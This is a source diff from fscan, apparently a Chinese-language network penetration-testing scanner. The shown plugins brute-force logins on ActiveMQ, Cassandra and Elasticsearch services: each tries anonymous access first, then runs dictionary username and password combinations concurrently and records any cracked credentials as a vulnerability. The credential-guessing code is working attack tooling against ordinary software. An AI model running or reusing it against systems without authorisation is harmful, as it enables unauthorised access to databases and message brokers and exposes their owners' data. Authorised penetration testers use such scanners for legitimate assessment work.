connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &ActiveMQScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ActiveMQScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ActiveMQConn 尝试ActiveMQ连接
|
||||||
|
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 使用上下文创建带超时的连接
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(Common.Timeout)*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中处理认证
|
||||||
|
go func() {
|
||||||
|
// STOMP协议的CONNECT命令
|
||||||
|
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
|
||||||
|
|
||||||
|
// 发送认证请求
|
||||||
|
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||||
|
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 读取响应
|
||||||
|
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||||
|
respBuf := make([]byte, 1024)
|
||||||
|
n, err := conn.Read(respBuf)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查认证结果
|
||||||
|
response := string(respBuf[:n])
|
||||||
|
|
||||||
|
var success bool
|
||||||
|
var resultErr error
|
||||||
|
|
||||||
|
if strings.Contains(response, "CONNECTED") {
|
||||||
|
success = true
|
||||||
|
resultErr = nil
|
||||||
|
} else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
|
||||||
|
success = false
|
||||||
|
resultErr = fmt.Errorf("认证失败")
|
||||||
|
} else {
|
||||||
|
success = false
|
||||||
|
resultErr = fmt.Errorf("未知响应: %s", response)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, resultErr}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待认证结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果
|
||||||
|
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
|
||||||
|
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "activemq",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
}
|
||||||
+6
-6
@@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
|
|||||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||||
block, err := aes.NewCipher(keyBytes)
|
block, err := aes.NewCipher(keyBytes)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
|
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取块大小并填充数据
|
// 获取块大小并填充数据
|
||||||
@@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
|||||||
// base64解码
|
// base64解码
|
||||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("[-] base64解码失败: %v", err)
|
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
keyBytes := []byte(key)
|
keyBytes := []byte(key)
|
||||||
@@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
|||||||
// 创建解密块
|
// 创建解密块
|
||||||
block, err := aes.NewCipher(keyBytes)
|
block, err := aes.NewCipher(keyBytes)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
|
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建CBC解密模式
|
// 创建CBC解密模式
|
||||||
@@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
|||||||
// 去除填充
|
// 去除填充
|
||||||
origData, err = PKCS7UnPadding(origData)
|
origData, err = PKCS7UnPadding(origData)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
|
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return string(origData), nil
|
return string(origData), nil
|
||||||
@@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
|
|||||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||||
length := len(data)
|
length := len(data)
|
||||||
if length == 0 {
|
if length == 0 {
|
||||||
return nil, errors.New("[-] 数据长度为0")
|
return nil, errors.New("数据长度为0")
|
||||||
}
|
}
|
||||||
|
|
||||||
padding := int(data[length-1])
|
padding := int(data[length-1])
|
||||||
if padding > length {
|
if padding > length {
|
||||||
return nil, errors.New("[-] 填充长度无效")
|
return nil, errors.New("填充长度无效")
|
||||||
}
|
}
|
||||||
|
|
||||||
return data[:length-padding], nil
|
return data[:length-padding], nil
|
||||||
|
|||||||
@@ -0,0 +1,364 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gocql/gocql"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// CassandraProxyDialer 实现gocql.Dialer接口,支持代理连接
|
||||||
|
type CassandraProxyDialer struct {
|
||||||
|
timeout time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *CassandraProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
|
||||||
|
host, port, err := net.SplitHostPort(addr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return Common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port))
|
||||||
|
}
|
||||||
|
|
||||||
|
// CassandraCredential 表示一个Cassandra凭据
|
||||||
|
type CassandraCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// CassandraScanResult 表示扫描结果
|
||||||
|
type CassandraScanResult struct {
|
||||||
|
Success bool
|
||||||
|
IsAnonymous bool
|
||||||
|
Error error
|
||||||
|
Credential CassandraCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 先尝试无认证访问
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
|
|
||||||
|
anonymousCredential := CassandraCredential{Username: "", Password: ""}
|
||||||
|
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if anonymousResult.Success {
|
||||||
|
saveCassandraSuccess(info, target, anonymousResult.Credential, true)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成所有凭据组合
|
||||||
|
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveCassandraSuccess(info, target, result.Credential, false)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Cassandra扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// generateCassandraCredentials 生成Cassandra的用户名密码组合
|
||||||
|
func generateCassandraCredentials(users, passwords []string) []CassandraCredential {
|
||||||
|
var credentials []CassandraCredential
|
||||||
|
for _, user := range users {
|
||||||
|
for _, pass := range passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, CassandraCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentCassandraScan 并发扫描Cassandra服务
|
||||||
|
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *CassandraScanResult, 1)
|
||||||
|
workChan := make(chan CassandraCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Cassandra并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryCassandraCredential 尝试单个Cassandra凭据
|
||||||
|
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &CassandraScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建单个连接超时的上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
success, err := CassandraConn(connCtx, info, credential.Username, credential.Password)
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &CassandraScanResult{
|
||||||
|
Success: true,
|
||||||
|
IsAnonymous: credential.Username == "" && credential.Password == "",
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &CassandraScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CassandraConn 尝试Cassandra连接,支持上下文超时
|
||||||
|
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
cluster := gocql.NewCluster(host)
|
||||||
|
cluster.Port, _ = strconv.Atoi(port)
|
||||||
|
cluster.Timeout = timeout
|
||||||
|
cluster.ConnectTimeout = timeout
|
||||||
|
cluster.ProtoVersion = 4
|
||||||
|
cluster.Consistency = gocql.One
|
||||||
|
|
||||||
|
// 如果配置了代理,设置自定义Dialer
|
||||||
|
if Common.Socks5Proxy != "" {
|
||||||
|
cluster.Dialer = &CassandraProxyDialer{
|
||||||
|
timeout: timeout,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if user != "" || pass != "" {
|
||||||
|
cluster.Authenticator = gocql.PasswordAuthenticator{
|
||||||
|
Username: user,
|
||||||
|
Password: pass,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
|
||||||
|
|
||||||
|
// 创建会话通道
|
||||||
|
sessionChan := make(chan struct {
|
||||||
|
session *gocql.Session
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在后台创建会话,以便可以通过上下文取消
|
||||||
|
go func() {
|
||||||
|
session, err := cluster.CreateSession()
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
if session != nil {
|
||||||
|
session.Close()
|
||||||
|
}
|
||||||
|
case sessionChan <- struct {
|
||||||
|
session *gocql.Session
|
||||||
|
err error
|
||||||
|
}{session, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待会话创建或上下文取消
|
||||||
|
var session *gocql.Session
|
||||||
|
var err error
|
||||||
|
select {
|
||||||
|
case result := <-sessionChan:
|
||||||
|
session, err = result.session, result.err
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
defer session.Close()
|
||||||
|
|
||||||
|
// 尝试执行查询,测试连接是否成功
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
var version string
|
||||||
|
var err error
|
||||||
|
|
||||||
|
// 尝试两种查询,确保至少一种成功
|
||||||
|
err = session.Query("SELECT peer FROM system.peers").WithContext(ctx).Scan(&version)
|
||||||
|
if err != nil {
|
||||||
|
err = session.Query("SELECT now() FROM system.local").WithContext(ctx).Scan(&version)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{err == nil, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待查询结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveCassandraSuccess 记录并保存Cassandra成功结果
|
||||||
|
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if isAnonymous {
|
||||||
|
successMsg = fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "cassandra",
|
||||||
|
"auth_type": "anonymous",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
"description": "数据库允许无认证访问",
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "cassandra",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
}
|
||||||
+1050
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package Plugins
|
||||||
|
|
||||||
|
import "github.com/shadow1ng/fscan/Common"
|
||||||
|
|
||||||
|
func DCInfoScan(info *Common.HostInfo) (err error) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,306 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ElasticCredential 表示Elasticsearch的凭据
|
||||||
|
type ElasticCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// ElasticScanResult 表示扫描结果
|
||||||
|
type ElasticScanResult struct {
|
||||||
|
Success bool
|
||||||
|
IsUnauth bool
|
||||||
|
Error error
|
||||||
|
Credential ElasticCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
func ElasticScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 首先测试无认证访问
|
||||||
|
Common.LogDebug("尝试无认证访问...")
|
||||||
|
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||||
|
|
||||||
|
if unauthResult.Success {
|
||||||
|
// 无需认证情况
|
||||||
|
saveElasticResult(info, target, unauthResult.Credential, true)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []ElasticCredential
|
||||||
|
for _, user := range Common.Userdict["elastic"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, ElasticCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 并发扫描
|
||||||
|
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveElasticResult(info, target, result.Credential, false)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Elasticsearch扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentElasticScan 并发扫描Elasticsearch服务
|
||||||
|
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *ElasticScanResult, 1)
|
||||||
|
workChan := make(chan ElasticCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Elasticsearch并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryElasticCredential 尝试单个Elasticsearch凭据
|
||||||
|
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &ElasticScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds)
|
||||||
|
if success {
|
||||||
|
isUnauth := credential.Username == "" && credential.Password == ""
|
||||||
|
return &ElasticScanResult{
|
||||||
|
Success: true,
|
||||||
|
IsUnauth: isUnauth,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ElasticScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ElasticConn 尝试Elasticsearch连接
|
||||||
|
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(timeoutSeconds) * time.Second
|
||||||
|
|
||||||
|
